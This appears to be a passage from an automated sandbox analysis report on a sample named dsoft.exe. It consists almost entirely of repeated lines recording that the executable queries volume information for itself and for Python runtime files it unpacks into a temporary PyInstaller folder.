            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\certifi VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\libcrypto-1_1.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\libffi-7.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\libssl-1_1.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\python310.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\select.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\setuptools-65.5.0.dist-info VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\sqlite3.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\unicodedata.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\VCRUNTIME140_1.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32com VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_asyncio.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_bz2.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_cffi_backend.cp310-win_amd64.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_decimal.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_multiprocessing.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_queue.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_sqlite3.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_ssl.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_uuid.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_socket.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\select.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pyexpat.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\_queue.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pywintypes310.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pythoncom310.dll VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32api.pyd VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32com VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32com VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\win32com VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562\base_library.zip VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\Desktop\dsoft.exe VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI69562 VolumeInformationJump to behavior
